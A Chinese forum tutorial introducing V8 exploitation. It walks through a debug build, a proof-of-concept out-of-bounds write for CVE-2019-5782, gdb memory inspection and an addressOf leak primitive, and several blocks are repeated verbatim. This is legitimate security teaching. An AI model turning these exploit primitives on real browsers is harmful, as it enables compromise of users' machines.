首页
社区
课程
招聘
[原创] 手把手教你入门V8漏洞利用
发表于: 2020-3-28 11:31 8510

[原创] 手把手教你入门V8漏洞利用

2020-3-28 11:31
8510
一、前言
对于V8漏洞我也是新手,所以想从新手入门的角度来讲解V8漏洞。从环境搭建,到具体的CVE-2019-5782漏洞利用。会讲解很多的细节,以及V8漏洞入门的参考资料。这里首先先说个大坑,不要用mac搭建V8漏洞调试环境,我使用mac搭建的环境一直没有复现一些poc(可能方式不对),建议大家使用Ubuntu16.04,本文使用的虚拟机就是Ubuntu16.04。

二、环境搭建
首先要科学上网,配置git代理,如何配置git代理请参考《原创]V8环境搭建,100%成功版》。不科学上网是无法拉下代码的。
1、安装deptools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
再将其加入环境变量以方便执行:
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
再将其加入环境变量以方便执行:
vi ~/.bashrc
在最后一行输入:
export PATH=$PATH:/path/to/depot_tools
2、安装ninja
vi ~/.bashrc
在最后一行输入:
export PATH=$PATH:/path/to/depot_tools
2、安装ninja
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
# clone并且configure
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc
# /path/to/ninja改成ninja的目录
3、拉去V8主线代码
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
# clone并且configure
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc
# /path/to/ninja改成ninja的目录
3、拉去V8主线代码
fetch v8
gclient sync
4、gdb插件安装
fetch v8
gclient sync
4、gdb插件安装
首先创建~/.gdbinit,向里面写入:
source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py
必须安装此插件,不然无法使用后面的调试命令如job。
5、安装pwngdb插件,辅助调试
首先创建~/.gdbinit,向里面写入:
source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py
必须安装此插件,不然无法使用后面的调试命令如job。
source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py
必须安装此插件,不然无法使用后面的调试命令如job。
5、安装pwngdb插件,辅助调试
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
必须安装此插件,不然无法使用后面的调试命令如telescope。
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
必须安装此插件,不然无法使用后面的调试命令如telescope。
最后看一下我的~/.gdbinit文件:
source /home/jltxgcy/code/v8/tools/gdbinit
source /home/jltxgcy/code/v8/tools/gdb-v8-support.py
source /home/jltxgcy/pwndbg/gdbinit.py //第5步自动安装的
6、编译代码,这里使用debug版,方便调试(注意这步可以暂时不编译,看后面的文章切换到对应得漏洞版本后再编译)
source /home/jltxgcy/code/v8/tools/gdbinit
source /home/jltxgcy/code/v8/tools/gdb-v8-support.py
source /home/jltxgcy/pwndbg/gdbinit.py //第5步自动安装的
6、编译代码,这里使用debug版,方便调试(注意这步可以暂时不编译,看后面的文章切换到对应得漏洞版本后再编译)
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

三、CVE-2019-5782漏洞利用
本文不分析漏洞成因,仅做漏洞利用阐述。
我们如果要搭建这个漏洞利用环境,就要将代码回滚到漏洞修复之前的版本。


git checkout b474b3102bd4a95eafcdb68e0e44656046132bc9
gclient sync
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug/
代码回滚到漏洞修复之前的版本,然后编译debug版本。
git checkout b474b3102bd4a95eafcdb68e0e44656046132bc9
gclient sync
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug/
代码回滚到漏洞修复之前的版本,然后编译debug版本。
2、漏洞poc.js
function fun(arg) {
    let x = arguments.length;
    a1 = new Array(0x10);//原本长度16
    a1[0] = 1.1;
    a2 = new Array(0x10);
    a2[0] = 1.1;
    a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000,fun优化后a1的index变为21,超过了原本的index16,出现越界写,将a2的数组的长度修改为65535
    a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
  }

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);//未优化调用
%OptimizeFunctionOnNextCall(fun);//根据未优化调用传递的参数,优化fun代码
fun(...a3); // "..." convert array to arguments list,调用优化后的fun代码
console.log(a2.length); //65535
for (let i = 0; i < 32; i++) {
    console.log(a2[i]);
}
进入到out.gn/x64.debug里面编译生成的可执行文件是d8,运行poc:
function fun(arg) {
    let x = arguments.length;
    a1 = new Array(0x10);//原本长度16
    a1[0] = 1.1;
    a2 = new Array(0x10);
    a2[0] = 1.1;
    a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000,fun优化后a1的index变为21,超过了原本的index16,出现越界写,将a2的数组的长度修改为65535
    a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
  }

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);//未优化调用
%OptimizeFunctionOnNextCall(fun);//根据未优化调用传递的参数,优化fun代码
fun(...a3); // "..." convert array to arguments list,调用优化后的fun代码
console.log(a2.length); //65535
for (let i = 0; i < 32; i++) {
    console.log(a2[i]);
}
进入到out.gn/x64.debug里面编译生成的可执行文件是d8,运行poc:
./d8  --allow-natives-syntax poc.js
这里--allow-natives-syntax是必备的,%OptimizeFunctionOnNextCall和后面的%DebugPrint、%SystemBreak这些命令能够执行,都必须加上--allow-natives-syntax命令。
%OptimizeFunctionOnNextCall是优化fun代码,再次调用fun(...a3),a1数组、a2数组在内存上相邻。a1数组原本的长度是16,a1[(x >> 16) * 21]  = 1.39064994160909e-309;  此时相当于a1[21] = 1.39064994160909e-309(正常情况下是无法写入的,由于触发了漏洞才能写入); a1下面就是a2数组,a2数组的长度变为65535,我们也可以通过日志看到一些现象进行佐证:
./d8  --allow-natives-syntax poc.js
这里--allow-natives-syntax是必备的,%OptimizeFunctionOnNextCall和后面的%DebugPrint、%SystemBreak这些命令能够执行,都必须加上--allow-natives-syntax命令。
%OptimizeFunctionOnNextCall是优化fun代码,再次调用fun(...a3),a1数组、a2数组在内存上相邻。a1数组原本的长度是16,a1[(x >> 16) * 21]  = 1.39064994160909e-309;  此时相当于a1[21] = 1.39064994160909e-309(正常情况下是无法写入的,由于触发了漏洞才能写入); a1下面就是a2数组,a2数组的长度变为65535,我们也可以通过日志看到一些现象进行佐证:
65535
1.1
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
2.77530312163714e-310
1.06890129382663e-310
1.1515464254871e-310
1.39064994160909e-309
1.06890129374126e-310
1.1
1.06890129374126e-310
2.77530312163714e-310
1.06890129374126e-310
1.06890129382663e-310
1.06890129374126e-310
1.1515464254871e-310
1.06890129374126e-310
1.39064994160909e-309
1.06890129374126e-310
1.06890129374126e-310
长度已经输出为65535,前面16个元素,只有a1[0]被赋值为1.1,其他都undefined。从16个元素之后还可以正常的读取数值。
接下来我们通过gdb调试来看下a1和a2数组的内存布局,来更好的理解为什么a2的长度会变为65535。
首先在poc.js中加入调试代码:
function fun(arg) {
    let x = arguments.length;
    a1 = new Array(0x10);
    a1[0] = 1.1;
    a2 = new Array(0x10);
    a2[0] = 1.1;
    a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
    a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0xffff00000000
  }

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list
%DebugPrint(a1); //新增,打印a1内存布局
%DebugPrint(a2); //新增,打印a2内存布局
%SystemBreak();//下断点,程序会停在这里
console.log(a2.length); //65535
for (let i = 0; i < 32; i++) {
    console.log(a2[i]);
}
gdb调试:
jltxgcy@jltxgcy-VirtualBox:~/code/v8/out.gn/x64.debug$ gdb ./d8 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 184 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./d8...done.
pwndbg> set args --allow-natives-syntax poc.js 
pwndbg> r
Starting program: /home/jltxgcy/code/v8/out.gn/x64.debug/d8 --allow-natives-syntax poc.js 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f8fb523a700 (LWP 28133)]
DebugPrint: 0x11cd6ed85629: [JSArray] //a1
 - map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - elements: 0x11cd6ed85599 <FixedDoubleArray[16]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 16
 - properties: 0x35bec4f80c21 <FixedArray[0]> {
    #length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x11cd6ed85599 <FixedDoubleArray[16]> {
           0: 1.1
        1-15: <the_hole>
 }
0x2b345b402f29: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: HOLEY_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x2b345b402ed9 <Map(PACKED_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x05d83ba80609 <Cell value= 1>
 - instance descriptors #1: 0x2f11127114c9 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x2f1112711469 <TransitionArray[4]>Transition array #1:
     0x35bec4f84b79 <Symbol: (elements_transition_symbol)>: (transition to PACKED_ELEMENTS) -> 0x2b345b402f79 <Map(PACKED_ELEMENTS)>

 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - constructor: 0x2f1112710889 <JSFunction Array (sfi = 0x5d83ba8d309)>
 - dependent code: 0x35bec4f802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

DebugPrint: 0x11cd6ed856d9: [JSArray] //a2
 - map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 65535 //长度变为65535 a1[21] = 1.39064994160909e-309
 - properties: 0x35bec4f80c21 <FixedArray[0]> {
    #length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> { //a1[41] = 1.39064994160909e-309
           0: 1.1
        1-15: <the_hole>
          16: 2.347e-310
          17: 2.91961e-310
          18: 9.67085e-311
查看elements,使用job 0x11cd6ed85649:
pwndbg> job 0x11cd6ed85649
          19: 1.39065e-3090x11cd6ed85649: [FixedDoubleArray]
 - map: 0x35bec4f81459 <Map>
 - length: 65535 //长度也被修改65535
           0: 1.1
        1-15: <the_hole>
          16: 2.347e-310
          17: 2.91961e-310
          18: 9.67085e-311
我们已经看到了a2在内存中length被设置为65535(0xFFFF),且elements的长度也被设置为65535(0xFFFF)。
那么为什么这个浮点1.39064994160909e-309在内存中会被存为0xffff00000000。
a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
IEEE 754编码形式的浮点数,转换地址:http://www.binaryconvert.com/convert_double.html?hexadecimal=0000000000000000
65535
1.1
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
2.77530312163714e-310
1.06890129382663e-310
1.1515464254871e-310
1.39064994160909e-309
1.06890129374126e-310
1.1
1.06890129374126e-310
2.77530312163714e-310
1.06890129374126e-310
1.06890129382663e-310
1.06890129374126e-310
1.1515464254871e-310
1.06890129374126e-310
1.39064994160909e-309
1.06890129374126e-310
1.06890129374126e-310
长度已经输出为65535,前面16个元素,只有a1[0]被赋值为1.1,其他都undefined。从16个元素之后还可以正常的读取数值。
接下来我们通过gdb调试来看下a1和a2数组的内存布局,来更好的理解为什么a2的长度会变为65535。
首先在poc.js中加入调试代码:
function fun(arg) {
    let x = arguments.length;
    a1 = new Array(0x10);
    a1[0] = 1.1;
    a2 = new Array(0x10);
    a2[0] = 1.1;
    a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
    a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0xffff00000000
  }

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list
%DebugPrint(a1); //新增,打印a1内存布局
%DebugPrint(a2); //新增,打印a2内存布局
%SystemBreak();//下断点,程序会停在这里
console.log(a2.length); //65535
for (let i = 0; i < 32; i++) {
    console.log(a2[i]);
}
gdb调试:
function fun(arg) {
    let x = arguments.length;
    a1 = new Array(0x10);
    a1[0] = 1.1;
    a2 = new Array(0x10);
    a2[0] = 1.1;
    a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
    a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0xffff00000000
  }

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list
%DebugPrint(a1); //新增,打印a1内存布局
%DebugPrint(a2); //新增,打印a2内存布局
%SystemBreak();//下断点,程序会停在这里
console.log(a2.length); //65535
for (let i = 0; i < 32; i++) {
    console.log(a2[i]);
}
gdb调试:
jltxgcy@jltxgcy-VirtualBox:~/code/v8/out.gn/x64.debug$ gdb ./d8 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 184 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./d8...done.
pwndbg> set args --allow-natives-syntax poc.js 
pwndbg> r
Starting program: /home/jltxgcy/code/v8/out.gn/x64.debug/d8 --allow-natives-syntax poc.js 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f8fb523a700 (LWP 28133)]
DebugPrint: 0x11cd6ed85629: [JSArray] //a1
 - map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - elements: 0x11cd6ed85599 <FixedDoubleArray[16]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 16
 - properties: 0x35bec4f80c21 <FixedArray[0]> {
    #length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x11cd6ed85599 <FixedDoubleArray[16]> {
           0: 1.1
        1-15: <the_hole>
 }
0x2b345b402f29: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: HOLEY_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x2b345b402ed9 <Map(PACKED_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x05d83ba80609 <Cell value= 1>
 - instance descriptors #1: 0x2f11127114c9 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x2f1112711469 <TransitionArray[4]>Transition array #1:
     0x35bec4f84b79 <Symbol: (elements_transition_symbol)>: (transition to PACKED_ELEMENTS) -> 0x2b345b402f79 <Map(PACKED_ELEMENTS)>

 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - constructor: 0x2f1112710889 <JSFunction Array (sfi = 0x5d83ba8d309)>
 - dependent code: 0x35bec4f802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

DebugPrint: 0x11cd6ed856d9: [JSArray] //a2
 - map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 65535 //长度变为65535 a1[21] = 1.39064994160909e-309
 - properties: 0x35bec4f80c21 <FixedArray[0]> {
    #length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> { //a1[41] = 1.39064994160909e-309
           0: 1.1
        1-15: <the_hole>
          16: 2.347e-310
          17: 2.91961e-310
          18: 9.67085e-311
查看elements,使用job 0x11cd6ed85649:
jltxgcy@jltxgcy-VirtualBox:~/code/v8/out.gn/x64.debug$ gdb ./d8 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 184 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./d8...done.
pwndbg> set args --allow-natives-syntax poc.js 
pwndbg> r
Starting program: /home/jltxgcy/code/v8/out.gn/x64.debug/d8 --allow-natives-syntax poc.js 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f8fb523a700 (LWP 28133)]
DebugPrint: 0x11cd6ed85629: [JSArray] //a1
 - map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - elements: 0x11cd6ed85599 <FixedDoubleArray[16]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 16
 - properties: 0x35bec4f80c21 <FixedArray[0]> {
    #length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x11cd6ed85599 <FixedDoubleArray[16]> {
           0: 1.1
        1-15: <the_hole>
 }
0x2b345b402f29: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: HOLEY_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x2b345b402ed9 <Map(PACKED_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x05d83ba80609 <Cell value= 1>
 - instance descriptors #1: 0x2f11127114c9 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x2f1112711469 <TransitionArray[4]>Transition array #1:
     0x35bec4f84b79 <Symbol: (elements_transition_symbol)>: (transition to PACKED_ELEMENTS) -> 0x2b345b402f79 <Map(PACKED_ELEMENTS)>

 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - constructor: 0x2f1112710889 <JSFunction Array (sfi = 0x5d83ba8d309)>
 - dependent code: 0x35bec4f802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

DebugPrint: 0x11cd6ed856d9: [JSArray] //a2
 - map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 65535 //长度变为65535 a1[21] = 1.39064994160909e-309
 - properties: 0x35bec4f80c21 <FixedArray[0]> {
    #length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> { //a1[41] = 1.39064994160909e-309
           0: 1.1
        1-15: <the_hole>
          16: 2.347e-310
          17: 2.91961e-310
          18: 9.67085e-311
查看elements,使用job 0x11cd6ed85649:
Starting program: /home/jltxgcy/code/v8/out.gn/x64.debug/d8 --allow-natives-syntax poc.js 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f8fb523a700 (LWP 28133)]
DebugPrint: 0x11cd6ed85629: [JSArray] //a1
 - map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - elements: 0x11cd6ed85599 <FixedDoubleArray[16]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 16
 - properties: 0x35bec4f80c21 <FixedArray[0]> {
    #length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x11cd6ed85599 <FixedDoubleArray[16]> {
           0: 1.1
        1-15: <the_hole>
 }
0x2b345b402f29: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: HOLEY_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x2b345b402ed9 <Map(PACKED_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x05d83ba80609 <Cell value= 1>
 - instance descriptors #1: 0x2f11127114c9 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x2f1112711469 <TransitionArray[4]>Transition array #1:
     0x35bec4f84b79 <Symbol: (elements_transition_symbol)>: (transition to PACKED_ELEMENTS) -> 0x2b345b402f79 <Map(PACKED_ELEMENTS)>

 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - constructor: 0x2f1112710889 <JSFunction Array (sfi = 0x5d83ba8d309)>
 - dependent code: 0x35bec4f802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

DebugPrint: 0x11cd6ed856d9: [JSArray] //a2
 - map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2f1112710ac1 <JSArray[0]>
 - elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 65535 //长度变为65535 a1[21] = 1.39064994160909e-309
 - properties: 0x35bec4f80c21 <FixedArray[0]> {
    #length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> { //a1[41] = 1.39064994160909e-309
           0: 1.1
        1-15: <the_hole>
          16: 2.347e-310
          17: 2.91961e-310
          18: 9.67085e-311
查看elements,使用job 0x11cd6ed85649:
pwndbg> job 0x11cd6ed85649
          19: 1.39065e-3090x11cd6ed85649: [FixedDoubleArray]
 - map: 0x35bec4f81459 <Map>
 - length: 65535 //长度也被修改65535
           0: 1.1
        1-15: <the_hole>
          16: 2.347e-310
          17: 2.91961e-310
          18: 9.67085e-311
pwndbg> job 0x11cd6ed85649
          19: 1.39065e-3090x11cd6ed85649: [FixedDoubleArray]
 - map: 0x35bec4f81459 <Map>
 - length: 65535 //长度也被修改65535
           0: 1.1
        1-15: <the_hole>
          16: 2.347e-310
          17: 2.91961e-310
          18: 9.67085e-311
我们已经看到了a2在内存中length被设置为65535(0xFFFF),且elements的长度也被设置为65535(0xFFFF)。
那么为什么这个浮点1.39064994160909e-309在内存中会被存为0xffff00000000。
a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
IEEE 754编码形式的浮点数,转换地址:http://www.binaryconvert.com/convert_double.html?hexadecimal=0000000000000000
a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
IEEE 754编码形式的浮点数,转换地址:http://www.binaryconvert.com/convert_double.html?hexadecimal=0000000000000000

3、泄露对象地址
/*---------------------------datatype convert-------------------------*/
class typeConvert{
	constructor(){
		this.buf = new ArrayBuffer(8);
		this.f64 = new Float64Array(this.buf);
		this.u32 = new Uint32Array(this.buf);
		this.bytes = new Uint8Array(this.buf);
    }
    //convert float to int
	f2i(val){		
		this.f64[0] = val;
		let tmp = Array.from(this.u32);
		return tmp[1] * 0x100000000 + tmp[0];
    }
    
    /*
    convert int to float
    if nead convert a 64bits int to float
    please use string like "deadbeefdeadbeef"
    (v8's SMI just use 56bits, lowest 8bits is zero as flag)
    */
    i2f(val){
        let vall = hex(val);
		let tmp = [];
        tmp[0] = vall.slice(10, );
        tmp[1] = vall.slice(2, 10);
        tmp[0] = parseInt(tmp[0], 16);
        // console.log(hex(val));
		tmp[1] = parseInt(tmp[1], 16);
		this.u32.set(tmp);
		return this.f64[0];
	}
}
//convert number to hex string
function hex(x)
{
    return '0x' + (x.toString(16)).padStart(16, 0);
}

var dt = new typeConvert();

/*---------------------------get oob array-------------------------*/
function fun(arg) {
    let x = arguments.length;
    a1 = new Array(0x10);
    a1[0] = 1.1;
    a2 = new Array(0x10);
    a2[0] = 1.1;
    a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
    a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0x2a00000000
  }

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list

/*---------------------------leak object-------------------------*/
var objLeak = {'leak' : 0x1234, 'tag' : 0xdead};
var objTest = {'a':'b'};

//search the objLeak.tag
for(let i=0; i<0xffff; i++){
    if(dt.f2i(a2[i]) == 0xdead00000000){
        offset1 = i-1; //a2[offset1] -> objLeak.leak
        break;
    }
}

function addressOf(target){
    objLeak.leak = target;
    let leak = dt.f2i(a2[offset1]);
    return leak;
}

//test
%DebugPrint(objLeak);
%SystemBreak();
console.log("address of objTest : " + hex(addressOf(objTest)));
%DebugPrint(objTest);
DebugPrint: 0x1e330d086219: [JS_OBJECT_TYPE]
 - map: 0x22c2d4d0aa99 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x29ec48f81f91 <Object map = 0x22c2d4d00229>
 - elements: 0x1b513bb00c21 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x1b513bb00c21 <FixedArray[0]> {
    #leak: 4660 (data field 0)
    #tag: 57005 (data field 1)
 }
0x22c2d4d0aa99: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 40
 - inobject properties: 2
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x22c2d4d0aa49 <Map(HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x281a3f880609 <Cell value= 1>
 - instance descriptors (own) #2: 0x29ec48fa6dc1 <DescriptorArray[2]>
 - layout descriptor: (nil)
 - prototype: 0x29ec48f81f91 <Object map = 0x22c2d4d00229>
 - constructor: 0x29ec48f81fc9 <JSFunction Object (sfi = 0x281a3f88c361)>
 - dependent code: 0x1b513bb002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
使用telescope  0x1e330d086218查看对象布局二进制信息,注意对象指针是0x1e330d086219,对象地址0x1e330d086219-1。
pwndbg> telescope  0x1e330d086218
00:0000│   0x1e330d086218 —▸ 0x22c2d4d0aa99 ◂— 0x500001b513bb001
01:0008│   0x1e330d086220 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007
... ↓
03:0018│   0x1e330d086230 ◂— 0x123400000000
04:0020│   0x1e330d086238 ◂— 0xdead00000000
05:0028│   0x1e330d086240 —▸ 0x22c2d4d0ab39 ◂— 0x400001b513bb001
06:0030│   0x1e330d086248 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007
可以看到0x1234和0xdead存储在对象的inobject_properties,是以smi的方式存储。smi和指针可以参考这篇文章《V8 小整数(smi)和指针》,关于浮点数参考这篇文章《V8 浮点数(float/double)》
为了深入理解smi、对象指针、浮点数在内存的存储形式,以及更清楚的理解上面代码中typeConvert类中的方法,我这里先抛开漏洞本身,讲以下几个例子。
1)
a = [2, "test", 5555555555, 5.1];
%DebugPrint(a);
%SystemBreak();
gdb调试:
DebugPrint: 0xc3466384bf1: [JSArray]
 - map: 0x0594c5202f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x28e956e90ac1 <JSArray[0]>
